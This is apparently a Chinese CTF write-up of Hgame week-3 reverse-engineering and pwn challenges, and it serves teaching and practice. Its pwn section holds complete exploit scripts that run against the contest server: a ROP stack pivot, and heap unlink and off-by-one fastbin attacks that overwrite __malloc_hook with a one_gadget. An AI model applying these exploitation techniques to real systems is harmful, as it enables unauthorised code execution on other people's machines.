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一次受益颇多的CTF(RE/PWN)

发表于：2020-02-18 11:52 作者： Nepents 阅读数（1161人）

前言

这个是Hgame_CTF第三周的题目，难度一周比一周大，而且还涉及了多方面的知识，一整期做下来对或许会有一个比较大的提升。其中有一道逆向，是通过监控本地端口来获取输入的，第一次接触这种输入模式，故借此机会记录一下。

上两周的题目回顾：HgameCTF(week1)-RE,PWN题解析

记一次春节CTF实战练习(RE/PWN)

##pwn ###ROP_LEVEL2

程序init禁用了59号中断，所以不能getshell

  1. __int64 init()
  2. {
  3.   __int64 v0; // ST08_8
  5.   v0 = seccomp_init(2147418112LL);
  6.   seccomp_rule_add(v0, 0LL, 59LL, 0LL);
  7.   seccomp_load(v0);
  8.   return 0LL;
  9. }

main函数存在栈溢出，但是最多只能覆盖到EBP和返回地址。前边会读取256个字节进入buf全局变量。可以通过栈迁移把栈区迁移到buf中，然后在buf中构造ROP，调用OPEN函数打开flag然后跳到0x040098F地址读取并输出flag。

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. from time import *
  5. from LibcSearcher import *
  7. context.log_level="debug"
  9. EXEC_FILE = './ROP'
  11. io = remote('47.103.214.163',20300)
  12. #io = process('./ROP')
  13. elf = ELF(EXEC_FILE)
  15. #padding = 88
  16. read_plt = elf.plt['read']
  17. open_plt = elf.plt['open']
  19. io.recvuntil('?')
  20. #payload = 'flag\x00\x00\x00\x00'#
  21. payload = p64(0x060119F)
  22. payload += p64(0x0400a43)#pop rdi
  23. payload += p64(0x6010e0)#flag
  24. payload += p64(0x0400a41)#pop rsi
  25. payload += p64(0)
  26. payload += p64(0)#pading
  27. payload += p64(open_plt)
  28. payload += p64(0x040098F)#
  29. payload += 'flag\x00\x00\x00\x00'#
  30. io.sendline(payload)#buf 0x006010A0
  32. payload = 'a'*80
  33. payload += p64(0x06010A0)#buf
  34. payload += p64(0x4009D5)
  35. io.sendline(payload)
  37. print io.recv()
  39. io.interactive()

###Annevi_Note

查看edit函数，每次会固定读入256个字节。而每次只能申请小于143字节的堆块，照成堆溢出。

  1. __int64 edit()
  2. {
  3.   int v1; // [rsp+Ch] [rbp-4h]
  5.   puts("index?");
  6.   v1 = readi();
  7.   if ( list[v1] )
  8.   {
  9. printf("content:");
  10. read_n((__int64)list[v1], 256);
  11. puts("done!");
  12.   }
  13.   else
  14.   {
  15. puts("Invalid index!");
  16.   }
  17.   return 0LL;
  18. }

check一下文件查看开了哪些保护

Annevi1.png

可以先申请usorted bin然后释放再申请回来调用show函数输出unsorted bin addr，先减去88再减去mainarenaoffset求出libc基地址，不同版本的libc对应着不同版本的mainarenaoffset。然后使用unlink使得能改变list中的元素，写入malloc hook地址，然后改变malloc hook为one gadget。

exp

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. from time import *
  5. from LibcSearcher import *
  7. context.log_level="debug"
  9. #EXEC_FILE = "./ROP_LEV"
  10. REMOTE_LIBC = "./libc-2.23.so"
  12. #main_offset = 3951392
  13. io = remote('47.103.214.163',20301)
  14. #io = process('./Annevi')
  15. #elf = ELF(EXEC_FILE)
  16. libc = ELF(REMOTE_LIBC)
  20. def add(size,content):
  21.     io.sendlineafter(':','1')
  22.     io.sendlineafter('?',str(size))
  23.     io.sendlineafter(':',content)
  25. def edit(idx,content):
  26.     io.sendlineafter(':','4')
  27.     io.sendlineafter('?',str(idx))
  28.     io.sendlineafter(':',content)
  32. def delete(idx):
  33.     io.sendlineafter(':','2')
  34.     io.sendlineafter('?',str(idx))
  36. def show(idx):
  37.     io.sendlineafter(':','3')
  38.     io.sendlineafter('?',str(idx))
  42. add(150,'a')
  43. add(150,'b')
  45. delete(0)
  46. add(150,'a'*7)
  47. show(0)#求出libc基地址
  48. io.recvuntil('a'*7)
  49. unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88
  50. print hex(unsorted_bin)
  51. libc_addr = unsorted_bin - 3951392
  53. delete(0)
  54. delete(1)
  56. malloc_hook = libc_addr + libc.sym['__malloc_hook']
  58. x = 0x0602040
  59. fd = x-0x18
  60. bk = x-0x10
  61. payload = p64(0)
  62. payload += p64(0x70)
  63. payload += p64(fd)+p64(bk)
  64. payload += 'a'*(0x70-(8*4))+p64(0x70)
  65. payload += p64(0)*3+p64(0x90)+p64(0xa0)
  67. add(0x90,'a')#0
  68. add(0x90,'b')#1
  69. add(0x90,'c')
  71. edit(0,payload)
  73. delete(1)
  75. payload = p64(0)*3
  76. payload += p64(malloc_hook)
  78. edit(0,payload)
  79. edit(0,p64(libc_addr+0xf1147))
  81. io.sendlineafter(':','1')
  82. io.sendlineafter('?',str(150))
  84. io.interactive()

###E99p1ant_Note

查看read_n函数，存在off-by-one。能修溢出修改一个字节。

  1. __int64 __fastcall read_n(__int64 a1, int a2)
  2. {
  3.   int i; // [rsp+1Ch] [rbp-4h]
  5.   for ( i = 0; i <= a2; ++i )
  6.   {
  7. read(0, (void *)(i + a1), 1uLL);
  8. if ( *(_BYTE *)(i + a1) == 10 )
  9.   break;
  10.   }
  11.   return 0LL;
  12. }

可以按照上面一道题的方法，先泄露出libc基地址。然后利用off-by-one配合unsorted bin attack，使得链表中两个元素指向同一块内存，然后利用fastbin attack修改malloc hook变成one gadget。

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. from time import *
  5. from LibcSearcher import *
  7. context.log_level="debug"
  9. REMOTE_LIBC = "./libc-2.23.so"
  11. #main_offset = 3951392
  12. io = remote('47.103.214.163',20302)
  13. #io = process('./E99')
  14. #elf = ELF(EXEC_FILE)
  15. libc = ELF(REMOTE_LIBC)
  17. def add(size,content):
  18.     io.sendlineafter(':','1')
  19.     io.sendlineafter('?',str(size))
  20.     io.sendlineafter(':',content)
  22. def edit(idx,content):
  23.     io.sendlineafter(':','4')
  24.     io.sendlineafter('?',str(idx))
  25.     io.sendlineafter(':',content)
  27. def edits(idx,content):
  28.     io.sendlineafter(':','4')
  29.     io.sendlineafter('?',str(idx))
  30.     io.recvuntil(':')
  31.     io.send(content)
  32.     #io.sendlineafter(':',content)
  37. def delete(idx):
  38.     io.sendlineafter(':','2')
  39.     io.sendlineafter('?',str(idx))
  41. def show(idx):
  42.     io.sendlineafter(':','3')
  43.     io.sendlineafter('?',str(idx))
  45. add(0x88,'a')
  46. add(0x88,'b')
  48. delete(0)
  49. add(0x88,'a'*7)
  50. show(0)#求出libc基地址
  51. io.recvuntil('a'*7)
  52. unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88
  53. print hex(unsorted_bin)
  54. libc_addr = unsorted_bin - 3951392
  56. delete(0)
  57. delete(1)
  59. add(0x88,'a')#0
  60. add(0x88,'b')#1
  61. add(0x88,'c')#2
  62. add(0x88,'d')#3
  63. add(0x88,'e')#4
  64. add(0x88,'f')#5
  66. delete(0)
  67. edits(3,'a'*0x80+p64(0x240)+p8(0x90))
  68. delete(4)
  70. add(0x88,'a')#0
  71. add(0x68,'a')#4
  72. add(0x10,'a')#6
  73. add(0x68,'a')#7
  74. add(0x10,'a')#8
  76. delete(4)
  77. delete(7)
  79. malloc_hook = libc_addr + libc.sym['__malloc_hook']
  80. edit(1,p64(malloc_hook-35)*2)
  82. add(0x68,'a')#4
  83. add(0x68,'b')#7
  84. print hex(libc_addr+0xf24cb)
  85. raw_input()
  86. add(0x68,'a'*(19-8)+p64(libc_addr+0xf1147)+p64(libc_addr+0xf1147))
  88. io.sendlineafter(':','1')
  89. io.sendlineafter('?',str(100))
  91. io.interactive()

##re

###oooollvm

程序加了ollvm混淆，或许可以用deflat.py去除，但是该程序逻辑比较简单，虽然加了混淆，但还是可以看清楚逻辑，所以可以带混淆逆。其实如果实在真的解不了混淆，可以凭经验下断点，或者在全部的真实块下断点动态调试也是可以的，不过比较麻烦。

v12为计数器，table1和flag经过计算和table2对比。

可以写脚本。

  1. table_2 = [0x77,0x25,0x71,0x3F,0xF1,0x46,0xAB,0x4F,0x5F,0x7E,0x87,0x89,0x3E,0x89,0x24,0x17,0x5C,0x19,0xA1,0x36,0xD2,0x3C,0x72,0x51,0x21,0x9C,0xB7,0xA5,0xD0,0x9A,0x1A,0x77,0x06,0x3A]
  3. table_1 = [0x1F,0x41,0x0E,0x4F,0x90,0x38,0x95,0x1C,0x2B,0x1F,0xC0,0xCB,0x03,0xAF,0x6D,0x45,0x5C,0x63,0xBF,0x67,0x83,0x4F,0x16,0x1C,0x3C,0xAF,0xAF,0x75,0x9D,0xBA,0x2C,0x1C,0x43,0x26]
  5. flag = ""
  6. for i in range(34):
  7.     for q in range(20,127):
  8.         if (table_2[i] == (~q & (table_1[i] + i) | ~(table_1[i] + i) & q)):
  9.             flag += chr(q)
  10. print flag

###Go_master

程序为Go写的linux下的程序。符号表没去，逆起来比较简单。

输入判断是否为9位。

  1.   fmt_Fscanln(
  2. (__int64)a1,
  3. a2,
  4. (__int64)&go_itab__os_File_io_Reader,
  5. (__int64)&v82,
  6. v9,
  7. v10,
  8. (__int64)&go_itab__os_File_io_Reader,
  9. os_Stdin);
  10.   if ( v81[1] != 9 )// flag长度为9
  11.   {
  12. *(_QWORD *)&v88 = &unk_517D80;
  13. *((_QWORD *)&v88 + 1) = &off_573EE0;
  14. fmt_Fprintln(
  15.   (__int64)a1,
  16.   a2,
  17.   (__int64)&go_itab__os_File_io_Writer,
  18.   (__int64)&v88,
  19.   v11,
  20.   v12,
  21.   (__int64)&go_itab__os_File_io_Writer,
  22.   os_Stdout);
  23. os_Exit((__int64)a1);
  24.   }

然后进入sha1加密后对比。由于没有别的信息，有点难猜测9位是啥。

  1.   v80 = v62;
  2.   *(_QWORD *)v62 = 0xEFCDAB8967452301LL;
  3.   *(_QWORD *)(v62 + 8) = 0x1032547698BADCFELL;
  4.   *(_DWORD *)(v62 + 16) = 0xC3D2E1F0;
  5.   *(_OWORD *)(v62 + 88) = 0LL;
  6.   v13 = *v81;
  7.   runtime_stringtoslicebyte((__int64)a1, a2, v81[1], (__int64)v81, v14, v15);
  8.   *(_QWORD *)&v16 = v80;
  9.   *((_QWORD *)&v16 + 1) = 1LL;
  10.   crypto_sha1___digest__Write((__int64)a1, a2, 1LL, 1LL, v17, v16);
  11.   v64 = 0LL;
  12.   crypto_sha1___digest__Sum((__int64)a1, a2, v18, v19, v20, v21, v80);
  13.   v76 = 1LL;
  14.   runtime_newobject();
  15.   v79 = 0LL;
  16.   unk_0 = 0x532A878B04894333LL;
  17.   unk_4 = xmmword_5514B0;
  18.   runtime_convTslice((__int64)a1, a2, v22);
  19.   v78 = 0LL >> 63;
  20.   runtime_convTslice((__int64)a1, a2, v23);
  21.   *(_QWORD *)&v64 = &unk_515C00;
  22.   reflect_DeepEqual((__int64)a1, a2, v24, v78, v25);
  23.   v28 = v81;
  24.   v29 = v81[1];
  25.   v68 = v81[1];
  26.   v30 = *v81;
  27.   v77 = *v81;
  28.   cout = 0LL;

后来发现这9位和:2333拼接，进入net_Listen函数。

  1. flag___FlagSet__Parse((__int64)a1, a2, qword_647088, os_Args, *(__int128 *)&v35);
  2.   runtime_concatstring3(
  3. (__int64)a1,
  4. a2,
  5. v72[1],
  6. v74[1],
  7. v37,
  8. v38,
  9. 0,
  10. *v74,
  11. v74[1],
  12. (unsigned __int64)":<=?CLMNPSUZ[\n\t",
  13. 1,
  14. *v72,
  15. v72[1]);
  16.   *(_QWORD *)&v39 = &unk_54E794;
  17.   *((_QWORD *)&v39 + 1) = 3LL;
  18.   net_Listen((__int64)a1, a2, (__int64)&unk_54E794, v66, v40, v41, v39, v66, v67);

这9位可能是个ip地址，2333是端口。猜测127.0.0.1和localhost，发现是localhost。然后运行net_Listen函数监听本地端口2333数据。可以使用telnet往本机端口发送数据。

go1.png

当接收打数据后，程序会进入main_handleRequest函数，使用des加密监听到的数据对比，密钥为localhost。

go2.png

直接解密得到flag

go3.png

###hidden

先通过ida的交叉调用定位到sub_1400012E0函数。函数先读入flag，判断是不是40字节。

  1. __int64 sub_1400012E0()
  2. {
  3.   __int64 v0; // rax
  4.   char v2; // [rsp+28h] [rbp-30h]
  6.   sub_140001C10(&v2);
  7.   sub_1400015D0(std::cin, &v2);
  8.   if ( sub_1400024A0() == 40 )
  9.   {
  10. v0 = sub_1400023D0((__int64)&v2);
  11. sub_140001270(v0);
  12.   }
  13.   sub_140001E30((__int64)&v2);
  14.   return 0i64;
  15. }

进入到sub_140001270函数

  1. __int64 __fastcall sub_140001270(__int64 a1)
  2. {
  3.   __int64 v1; // rdi
  4.   int v2; // ebx
  5.   int v3; // eax
  6.   __int64 result; // rax
  8.   v1 = a1;
  9.   v2 = sub_1400010C0(0, (unsigned __int8 *)a1, 0x14ui64);
  10.   v3 = sub_1400010C0(0, (unsigned __int8 *)(v1 + 20), 0x14ui64);
  11.   if ( v2 != 0x18257154 || v3 != 2058429201 )
  12. result = sub_140001030(0);
  13.   else
  14. result = sub_140001030(1);
  15.   return result;
  16. }

flag分成两部分进入sub_1400010C0函数。

  1. __int64 __fastcall sub_1400010C0(int a1, unsigned __int8 *a2, unsigned __int64 a3)
  2. {
  3.   int v3; // ebx
  4.   unsigned __int64 v4; // rbp
  5.   unsigned __int8 *v5; // r14
  6.   unsigned int v6; // er12
  7.   unsigned int *v7; // r15
  8.   signed int v8; // edi
  9.   unsigned int *v9; // rsi
  10.   unsigned int v10; // edx
  11.   unsigned int v11; // ecx
  12.   unsigned int v12; // edx
  13.   unsigned int v13; // ecx
  14.   unsigned int v14; // edx
  15.   unsigned int v15; // ecx
  16.   unsigned int v16; // edx
  17.   unsigned int v17; // ebx
  18.   unsigned __int8 *v18; // rdx
  19.   __int64 v19; // rax
  20.   unsigned int v21; // [rsp+50h] [rbp+8h]
  22.   v3 = a1;
  23.   v4 = a3;
  24.   v5 = a2;
  25.   v6 = v21;
  26.   v7 = (unsigned int *)VirtualAlloc(0i64, 0x4000ui64, 0x3000u, 0x40u);
  27.   v8 = 0;
  28.   v9 = v7;
  29.   do
  30.   {
  31. if ( v8 >= 256 )
  32. {
  33.   *v9 = v6 ^ *(unsigned int *)((char *)v9 + &unk_140007000 - (_UNKNOWN *)v7 - 1024);
  34.   if ( v8 == 4095 )
  35. sub_140001010(v5, sub_140001030, v7 + 256, sub_1400010A0);
  36. }
  37. else
  38. {
  39.   v10 = ((unsigned int)v8 >> 1) ^ 0xEDB88320;
  40.   if ( !(v8 & 1) )
  41. v10 = (unsigned int)v8 >> 1;
  42.   v11 = (v10 >> 1) ^ 0xEDB88320;
  43.   if ( !(v10 & 1) )
  44. v11 = v10 >> 1;
  45.   v12 = (v11 >> 1) ^ 0xEDB88320;
  46.   if ( !(v11 & 1) )
  47. v12 = v11 >> 1;
  48.   v13 = (v12 >> 1) ^ 0xEDB88320;
  49.   if ( !(v12 & 1) )
  50. v13 = v12 >> 1;
  51.   v14 = (v13 >> 1) ^ 0xEDB88320;
  52.   if ( !(v13 & 1) )
  53. v14 = v13 >> 1;
  54.   v15 = (v14 >> 1) ^ 0xEDB88320;
  55.   if ( !(v14 & 1) )
  56. v15 = v14 >> 1;
  57.   v16 = (v15 >> 1) ^ 0xEDB88320;
  58.   if ( !(v15 & 1) )
  59. v16 = v15 >> 1;
  60.   v6 = (v16 >> 1) ^ 0xEDB88320;
  61.   if ( !(v16 & 1) )
  62. v6 = v16 >> 1;
  63.   *v9 = v6;
  64. }
  65.     ++v8;
  68.        ++v9;
  69.   }
  70.   while ( v8 < 4096 );
  71.   v17 = ~v3;
  72.   v18 = v5;
  73.   if ( v5 > &v5[v4] )
  74. v4 = 0i64;
  75.   if ( v4 )
  76.   {
  77. do
  78. {
  79.   v19 = *v18++;
  80.   v17 = (v17 >> 8) ^ v7[v19 ^ (unsigned __int8)v17];
  81. }
  82. while ( v18 - v5 < v4 );
  83.   }
  84.   return ~v17;
  85. }

看算法生成了表，很像是CRC32算法。 但是会进入sub_140001010函数。

hidden1.png

里边call r8，并且还会调用一个可以输出正确信息的函数。并且这个函数结束之后，会运行int指令。题目名叫hidden，或许真正有用的信息就隐藏在里边。可以动态调试一下到底调用了哪些函数。

  1. __int64 __fastcall sub_283C8F00400(__int64 a1, __int64 (__fastcall *a2)(_QWORD))
  2. {
  3.   signed int j; // [rsp+20h] [rbp-78h]
  4.   signed int i; // [rsp+24h] [rbp-74h]
  5.   signed int l; // [rsp+28h] [rbp-70h]
  6.   signed int k; // [rsp+2Ch] [rbp-6Ch]
  7.   unsigned int v7; // [rsp+30h] [rbp-68h]
  8.   char v8[38]; // [rsp+38h] [rbp-60h]
  9.   char v9; // [rsp+5Eh] [rbp-3Ah]
  10.   char *v10; // [rsp+60h] [rbp-38h]
  11.   __int64 v11; // [rsp+68h] [rbp-30h]
  12.   __int64 v12; // [rsp+70h] [rbp-28h]
  13.   __int64 v13; // [rsp+78h] [rbp-20h]
  14.   __int64 v14; // [rsp+80h] [rbp-18h]
  15.   __int64 v15; // [rsp+88h] [rbp-10h]
  17.   for ( i = 0; i < 40; ++i )
  18. v8[i] = *(_BYTE *)(a1 + i);
  19.   v10 = &v9;
  20.   for ( j = 0; j < 19; ++j )
  21.   {
  22. for ( k = 0; k < 2; ++k )
  23. {
  24.   v8[j] ^= v8[j + 19];
  25.   v8[j] += v10[k];
  26.   v8[j + 19] -= 103;
  27.   v8[j + 19] ^= v8[j];
  28. }
  29.   }
  30.   v7 = 1;
  31.   for ( l = 0; l < 40; ++l )
  32.   {
  33. v11 = 8896099409227384902i64;
  34. v12 = 5221214014029134222i64;
  35. v13 = 5439652918615309179i64;
  36. v14 = -9114877380574607267i64;
  37. v15 = 9035724225678832282i64;
  38. if ( v8[l] != *((char *)&v11 + l) )
  39. {
  40.   v7 = 0;
  41.   return a2(v7);
  42. }
  43.   }
  44.   return a2(v7);
  45. }

这估计就是真正处理flag的函数了，a2会通过判断传进去的参数输出正确或者失败。可以写脚本。

  1. flag = [0x46,0x88,0x8F,0x75,0x47,0x4B,0x75,0x7B,0x8E,0x79,0x7F,0x8A,0x7B,0x7A,0x75,0x48,0x7B,0x7B,0x7B,0x4B,0x82,0x87,0x7D,0x4B,0x5D,0x88,0x9B,0xA7,0x50,0x73,0x81,0x81,0x9A,0x72,0xFA,0x57,0x4F,0x57,0x65,0x7D]
  6. for i in range(18,-1,-1):
  7.     for q in range(1,-1,-1):
  8.         flag[i+19] = (flag[i+19]^flag[i])&0xff
  9.         flag[i+19] = (flag[i+19]+103)&0xff
  10.         flag[i] = (flag[i]-flag[(q+38)])&0xff
  11.         flag[i] = (flag[i]^flag[i+19])&0xff
  13. flags = ""
  15. for i in flag:
  16.     flags+=chr(i)
  17. print flags

如果想更多系统的学习CTF，可点击链接进入CTF实验室学习，里面涵盖了6个题目类型系统的学习路径和实操环境。

ctf.png

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